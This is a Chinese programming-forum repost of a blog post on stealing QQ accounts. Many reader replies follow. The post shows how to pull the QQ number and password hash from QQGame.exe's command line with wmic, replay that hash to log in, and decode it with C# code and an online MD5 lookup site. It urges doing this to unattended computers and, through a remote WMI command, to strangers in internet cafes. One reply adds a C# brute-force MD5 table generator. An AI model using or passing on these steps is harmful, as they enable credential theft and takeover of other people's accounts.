当前位置:编程学习 > C#/ASP.NET >>

【原创】利用QQ游戏破解QQ密码

说明:我在写这篇文章之前专门在网上找了下,没发现类似文章,如有雷同,纯属巧合。

博客地址:利用QQ游戏破解QQ密码

 
           利用QQ游戏破解QQ密码
 

                                                                                    作者:ssyfzy(十三亿分之一的缩写)

 

大家知道,当我们登录QQ后,可以直接在QQ上启动QQ游戏,这时候QQ游戏会启动,并以当前QQ用户进行登录,而不需要输入QQ号及密码。

 

我这个人应该算是比较善于思考的了(-^_^-),我想QQ肯定是通过某种方式把QQ号及密码信息传递给QQ游戏了。

 

我们来看一下QQ游戏的命令行(有的任务管理器可以直接看到):

 

打开命令提示符窗口

输入wmic 回车 (如果是第一次使用wmic,会提示正在安装,稍等几秒钟就行了)

然后输入process 回车

 

此时会显示所有的进程,找到QQ游戏(QQGame.exe),会发现其命令行有这样一段:

/START QQUIN:xxx PWDHASH:xxx

(也可以直接在命令行下输入wmic process where "Name='QQGame.exe'" Get CommandLine)

 

此时其实已经可以算是破解成功了,因为你已经可以在命令行下输入以下内容进行登录了:

 

QQ.exe全路径 /START QQUIN:xxx PWDHASH:xxx

 

由于QQ2009之后已经不支持命令行登录了,所以需要使用QQ2008或更早版本(注意:这里只要求破解者使用QQ2008 ,被破解者则无要求,所以对破解而言是没有任何障碍的,你完全可以趁某人离开位置而没有关QQ时,用其QQ打开QQ游戏(当然,如果已经打开了,就不需要了),然后用上面的方法获得命令行,保存起来(例如保存到邮箱),然后回家慢慢破,呵呵(-@_@-)

 

现在我来解释一下:

QQUIN后面的相信你已经看出来了,其实就是QQ号,而PWDHASH是什么呢,它其实是密码通过MD5加密后,再经Base64转换而得的,C#代码如下:

 

string GetPWDHASH(string password)

{

    byte[] passwordBytes = Encoding.ASCII.GetBytes(password);

    byte[] md5Bytes = new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(passwordBytes);

    string base64 = Convert.ToBase64String(md5Bytes);

    return base64;

}

 

知道了加密原理,解密就不难了,但是由于MD5算法是哈希算法,不可逆的,所以我们只能获得其MD5值,没有十分有效的方法获得原始密码,获得MD5值的C#代码如下:

 

string GetMD5FromPWDHASH(string PWDHASH)

{

    byte[] md5Bytes = Convert.FromBase64String(PWDHASH);

    string md5 = BitConverter.ToString(md5Bytes).Replace("-", "");

    return md5;

}

 

前面说到,MD5是不可逆的,但是也不是说完全不可破解,如果密码比较简单,可以采用暴力破解,不过我推荐使用在线MD5查询网站来破,比如http://www.cmd5.com。

 

当然,其实大可不必知道其真正的密码,因为你只需要知道其PWDHASH,你就已经可以使用该QQ进行登录了。

 

另外,现在有的网吧安全性比较差,可以直接使用WMI进行远程操作(WMI不在本文的讨论范畴,我只给一条命令,不作解释:/node:ip /user:administrator /password: "" process),这样就更爽了,只需要在网吧转一圈,观察哪些人在玩QQ游戏,然后就可以下手了,呵呵。



本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/CsToD/archive/2010/02/28/5333988.aspx --------------------编程问答-------------------- 沙发沙发, 多谢分享。   --------------------编程问答-------------------- 呵呵,不错不错,wmic --------------------编程问答-------------------- --------------------编程问答-------------------- --------------------编程问答-------------------- 只为学习。~~~~~~~ --------------------编程问答-------------------- 估计我又要看到那段话了 --------------------编程问答-------------------- 你都入侵人家电脑里边了,就别说是破解了,只能说是入侵然后复制然后再破解。

QQ游戏是命令行方式?将看来腾讯该升级其游戏程序了。 --------------------编程问答-------------------- --------------------编程问答-------------------- 不过那样做算不违法啊? --------------------编程问答-------------------- 哈哈, 还是不错的哦。                        --------------------编程问答--------------------
引用 9 楼 hetl_1985 的回复:
不过那样做算不违法啊?


当然违法咯,所以低调,低调,只为学术讨论 --------------------编程问答-------------------- 2004年8月17日的美国加州圣巴巴拉,正在召开的国际密码学会议(Crypto’2004)安排了三场关于杂凑函数的特别报告。在国际著名密码学家Eli Biham和Antoine Joux相继做了对SHA-1的分析与给出SHA-0的一个碰撞之后,来自山东大学的王小云教授做了破译MD5、HAVAL-128、 MD4和RIPEMD算法的报告。在会场上,当她公布了MD系列算法的破解结果之后,报告被激动的掌声打断。王小云教授的报告轰动了全场,得到了与会专家的赞叹。报告结束时,与会者长时间热烈鼓掌,部分学者起立鼓掌致敬,这在密码学会议上是少见的盛况。王小云教授的报告缘何引起如此大的反响?因为她的研究成果作为密码学领域的重大发现宣告了固若金汤的世界通行密码标准MD5的堡垒轰然倒塌,引发了密码学界的轩然大波。会议总结报告这样写道:“我们该怎么办?MD5被重创了;它即将从应用中淘汰。SHA-1仍然活着,但也见到了它的末日。现在就得开始更换SHA-1了。” --------------------编程问答-------------------- 哇 。。。。还好 我从不玩QQ游戏。 --------------------编程问答-------------------- 哈,赶紧回去删除QQ游戏 --------------------编程问答-------------------- 不错,支持一下 --------------------编程问答-------------------- 楼主是个细心的人啊。。。 --------------------编程问答-------------------- 有冇用啊 ,你知道MD5 那你知道怎么解密?? --------------------编程问答-------------------- 学习学习,真可以破吗 --------------------编程问答-------------------- up  good good --------------------编程问答-------------------- 不管能不能破解,LZ的善于思考值得学习,顶。。。 --------------------编程问答-------------------- 不错,我的密码的md5不知道有没人or网站能破解出来 --------------------编程问答-------------------- 不错。帮顶  回复内容太短了! 
--------------------编程问答-------------------- ...我已经删除了 QQ游戏了. --------------------编程问答-------------------- --------------------编程问答-------------------- 牛人啊 --------------------编程问答-------------------- 真厉害,这都能被你想到,回去试试 ? --------------------编程问答-------------------- 太有才了!太有才了!太有才了!太有才了! --------------------编程问答-------------------- 根本就不算是破解了。这种做法在一年前我已经取到过了。也就是

从QQ启动QQ游戏中的参数。但是那时候QQ密码是怎么加密的还没有被人

破解出来,也就是加密过程那时还没有人知道是:MD5->BASE64 加密的。

真正厉害的是发现QQ密码的加密方式的那个人! --------------------编程问答-------------------- 其实那时候QQ密码加密方式有没有出来我不知道。。。

但我确实是取到了从QQ启动QQ游戏中的参数。。。 --------------------编程问答-------------------- 这个好像只能对自己身边人下手啊!! --------------------编程问答-------------------- 路过 --------------------编程问答-------------------- 不错人 楼主是人才

不过应该有更好的方法 --------------------编程问答-------------------- 很好很强大

以后试着去盗同学的号

--------------------编程问答-------------------- 高,实在是高……………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………… --------------------编程问答-------------------- 为了保证我QQ的安全,我决定以后每分钟改一次密码.看你怎么破解.HIAHIAHIA~~~ --------------------编程问答-------------------- LZ貌似黑客基地上早有这文章了~!~ 不是说你的文章是抄袭了。 --------------------编程问答-------------------- 这个黑客防线还是黑客基地上早就有这文章和思路了~!~ --------------------编程问答-------------------- 不错    
 UP --------------------编程问答-------------------- 厉害  回复内容太短了! --------------------编程问答-------------------- 多谢LZ分享~~~
~ --------------------编程问答--------------------
引用 12 楼 jueyoung 的回复:
2004年8月17日的美国加州圣巴巴拉,正在召开的国际密码学会议(Crypto’2004)安排了三场关于杂凑函数的特别报告。在国际著名密码学家Eli Biham和Antoine Joux相继做了对SHA-1的分析与给出SHA-0的一个碰撞之后,来自山东大学的王小云教授做了破译MD5、HAVAL-128、 MD4和RIPEMD算法的报告。在会场上,当她公布了MD系列算法的破解结果之后,报告被激动的掌?-


不是一回事,这个只是找出碰撞 --------------------编程问答-------------------- 此时会显示所有的进程,找到QQ游戏(QQGame.exe),会发现其命令行有这样一段: 

/START QQUIN:xxx PWDHASH:xxx 


这一步在我机子上就不是这样了。。。。 --------------------编程问答-------------------- 这年头还要盗QQ啊? 没什么意义吧。。 --------------------编程问答-------------------- 能当饭吃的话那就还不错。。 --------------------编程问答-------------------- 那不是简单的只有MD5加密而已,MD5加密后由对结果做了计算。2009加密又变了。 --------------------编程问答-------------------- 来晚了,加精之 --------------------编程问答-------------------- 厉害!这样的呀,以后要注意了 --------------------编程问答--------------------
引用 46 楼 ojlovecd 的回复:
来晚了,加精之

为什么加精呢?又不是单一的MD5加密,再说加密后的密码在文件中都能读到的(QQ是先本地校验密码再去服务器验证的) --------------------编程问答--------------------
引用 1 楼 iraya 的回复:
沙发沙发, 多谢分享。 

牛。 --------------------编程问答-------------------- 牛,太强悍了,不过好像不能破解dnf --------------------编程问答-------------------- 牛逼的楼主,佩服,佩服
--------------------编程问答-------------------- 厉害,学习学习....佩服 --------------------编程问答-------------------- 学习学习....佩服!牛逼的楼主 --------------------编程问答-------------------- --------------------编程问答-------------------- 哈哈,说的对,QQ现在已经没价值了 --------------------编程问答-------------------- 不错啊,支持你啊回复内容太短了! 
--------------------编程问答-------------------- lz啊lz
Google 提供的广告
--------------------编程问答-------------------- 厉害,不得不顶。回复内容太短 --------------------编程问答-------------------- --------------------编程问答-------------------- 牛人,进来学习一下~~~
--------------------编程问答-------------------- 顶一下,不错。。。。。。。。。。 --------------------编程问答-------------------- 牛叉人物,学习了,不错 --------------------编程问答-------------------- 是删除QQ游戏的时候了... --------------------编程问答-------------------- 不错,学习了,谢谢分享!!! --------------------编程问答-------------------- up 顶了 确是很好 --------------------编程问答-------------------- 我用的是QQ2010啊   LZ的过时了 --------------------编程问答-------------------- 哎,以后上QQ要小心点啦。。。。 --------------------编程问答-------------------- xuexi..................... --------------------编程问答--------------------
貌似大家都破解之类的都非常感兴趣。。。。 --------------------编程问答-------------------- 估计不怎么样啊,不过挺有创意。 --------------------编程问答-------------------- 呵呵,有点小意思,都是简单的技术,组合起来有不错效果,想法很独特,呵呵 --------------------编程问答--------------------
引用 1 楼 iraya 的回复:
沙发沙发, 多谢分享。 
来学习一下了。呵呵。。。 --------------------编程问答-------------------- 楼主思维很活跃啊!佩服 --------------------编程问答-------------------- --------------------编程问答-------------------- --------------------编程问答-------------------- 呵呵,不错不错!!! --------------------编程问答-------------------- 进来膜拜一下,可以不 --------------------编程问答--------------------
引用 69 楼 foren_whb 的回复:
貌似大家都破解之类的都非常感兴趣。。。。


…………是非非常感兴趣 --------------------编程问答-------------------- 学习lz善于思考的方法,受益匪浅~ --------------------编程问答-------------------- 学习了~~~~~~~~~~~~~~ --------------------编程问答-------------------- 以技术研究为目的... --------------------编程问答-------------------- 限制性太大了,几乎没用。
不过还是收藏了 --------------------编程问答-------------------- --------------------编程问答-------------------- --------------------编程问答-------------------- 太猛了吧~这样很未向的 --------------------编程问答-------------------- 都推荐了当然要mark --------------------编程问答-------------------- 都推荐了当然要mark --------------------编程问答-------------------- 不错的破解思路,值得学习!! --------------------编程问答-------------------- using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Data.SqlClient;
using System.Data;
using System.Security.Cryptography;

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            string[] a = new string[36]
            {
                "1","2","3","4","5","6","7","8","9","0",
                "a","b","c","d","e","f","g","h","i","j",
                "k","l","m","n","o","p","q","r","s","t",
                "u","v","w","x","y","z"
            };
            int i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z;
            string md, c, c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11, c12, c13, c14, c15, c16, c17, c18;
            //1位密码加密
            for (i = 0; i < 36; i++)
            {
                c1 = a[i];
                //Console.Write(c1 + "\n");
                c = c1;
                byte[] result = Encoding.Default.GetBytes(c);    //tbPass为输入密码的文本框
                MD5 md5 = new MD5CryptoServiceProvider();
                byte[] output = md5.ComputeHash(result);
                md = BitConverter.ToString(output).Replace("-", "");  //tbMd5pass为输出加密文本的文本框
                string DB = System.Configuration.ConfigurationManager.ConnectionStrings["md5App"].ToString();
                string sql = "insert into tbmd(str,mdstr) values('" + c + "','" + md + "')";
                using (SqlConnection sqlconnection = new SqlConnection())
                {
                    sqlconnection.ConnectionString = DB;
                    sqlconnection.Open();
                    SqlCommand sqlcmd = new SqlCommand(sql, sqlconnection);
                    sqlcmd.ExecuteNonQuery();
                }
            }
            //2位密码加密
            for (i = 0; i < 36; i++)
            {
                c1 = a[i];
                for (j = 0; j < 36; j++)
                {
                    c2 = a[j];
                    c = c1 + c2;
                    byte[] result = Encoding.Default.GetBytes(c);    //tbPass为输入密码的文本框
                    MD5 md5 = new MD5CryptoServiceProvider();
                    byte[] output = md5.ComputeHash(result);
                    md = BitConverter.ToString(output).Replace("-", "");  //tbMd5pass为输出加密文本的文本框
                    string DB = System.Configuration.ConfigurationManager.ConnectionStrings["md5App"].ToString();
                    string sql = "insert into tbmd(str,mdstr) values('" + c + "','" + md + "')";
                    using (SqlConnection sqlconnection = new SqlConnection())
                    {
                        sqlconnection.ConnectionString = DB;
                        sqlconnection.Open();
                        SqlCommand sqlcmd = new SqlCommand(sql, sqlconnection);
                        sqlcmd.ExecuteNonQuery();
                    }
                }
            }

            //3位密码加密
            for (i = 0; i < 36; i++)
            {
                c1 = a[i];
                for (j = 0; j < 36; j++)
                {
                    c2 = a[j];
                    for (k = 0; k < 36; k++)
                    {
                        c3 = a[k];
                        c = c1 + c2 + c3;
                        byte[] result = Encoding.Default.GetBytes(c);    //tbPass为输入密码的文本框
                        MD5 md5 = new MD5CryptoServiceProvider();
                        byte[] output = md5.ComputeHash(result);
                        md = BitConverter.ToString(output).Replace("-", "");  //tbMd5pass为输出加密文本的文本框
                        string DB = System.Configuration.ConfigurationManager.ConnectionStrings["md5App"].ToString();
                        string sql = "insert into tbmd(str,mdstr) values('" + c + "','" + md + "')";
                        using (SqlConnection sqlconnection = new SqlConnection())
                        {
                            sqlconnection.ConnectionString = DB;
                            sqlconnection.Open();
                            SqlCommand sqlcmd = new SqlCommand(sql, sqlconnection);
                            sqlcmd.ExecuteNonQuery();
                        }
                    }
                }
            }
            //4位密码加密
            for (i = 0; i < 36; i++)
            {
                c1 = a[i];
                for (j = 0; j < 36;j++ )
                {
                    c2 = a[j];
                    for (k = 0; k < 36;k++ )
                    {
                        c3 = a[k];
                        for (l = 0; l < 36;l++ )
                        {
                            c4 = a[l];
                            c = c1 + c2 + c3 + c4;
                            byte[] result = Encoding.Default.GetBytes(c);    //tbPass为输入密码的文本框
                            MD5 md5 = new MD5CryptoServiceProvider();
                            byte[] output = md5.ComputeHash(result);
                            md = BitConverter.ToString(output).Replace("-", "");  //tbMd5pass为输出加密文本的文本框
                            string DB = System.Configuration.ConfigurationManager.ConnectionStrings["md5App"].ToString();
                            string sql = "insert into tbmd(str,mdstr) values('" + c + "','" + md + "')";
                            using (SqlConnection sqlconnection = new SqlConnection())
                            {
                                sqlconnection.ConnectionString = DB;
                                sqlconnection.Open();
                                SqlCommand sqlcmd = new SqlCommand(sql, sqlconnection);
                                sqlcmd.ExecuteNonQuery();
                            }
                        }
                    }
                }
            }

            //5位密码加密
            for (i = 0; i < 36;i++ )
            {
                c1 = a[i];
                for (j = 0; j < 36;j++ )
                {
                    c2 = a[j];
                    for (k = 0; k < 36;k++ )
                    {
                        c3 = a[k];
                        for (l = 0; l < 36;l++ )
                        {
                            c4 = a[l];
                            for (m = 0; m < 36;m++ )
                            {
                                c5 = a[m];
                                c = c1 + c2 + c3 + c4 + c5;
                                byte[] result = Encoding.Default.GetBytes(c);    //tbPass为输入密码的文本框
                                MD5 md5 = new MD5CryptoServiceProvider();
                                byte[] output = md5.ComputeHash(result);
                                md = BitConverter.ToString(output).Replace("-", "");  //tbMd5pass为输出加密文本的文本框
                                string DB = System.Configuration.ConfigurationManager.ConnectionStrings["md5App"].ToString();
                                string sql = "insert into tbmd(str,mdstr) values('" + c + "','" + md + "')";
                                using (SqlConnection sqlconnection = new SqlConnection())
                                {
                                    sqlconnection.ConnectionString = DB;
                                    sqlconnection.Open();
                                    SqlCommand sqlcmd = new SqlCommand(sql, sqlconnection);
                                    sqlcmd.ExecuteNonQuery();
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}
//依次类推生成,并写入数据库 --------------------编程问答-------------------- 有点意思

回复内容     回复内容太短了!  --------------------编程问答-------------------- 回复内容  回复内容  回复内容  回复内容  回复内容  回复内容   --------------------编程问答-------------------- 对,2009就不行了,另外qq自动登录也是采用这种命令行模式的 --------------------编程问答-------------------- 楼主很强大!但是现在似乎盗号已没什么新鲜感了吧 --------------------编程问答-------------------- 很好很强大!很好很强大! --------------------编程问答--------------------
每天回帖即可获得10分可用分 --------------------编程问答-------------------- --------------------编程问答-------------------- 很好很强大!很好很强大!很好很强大!很好很强大! --------------------编程问答-------------------- 强!~~~~~~~~~~~~~~~~~ --------------------编程问答-------------------- 恩,如果知道加密的方法,解密就不难了 --------------------编程问答-------------------- 可以,顶顶!!!!!!!!!!!!
补充:.NET技术 ,  C#
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,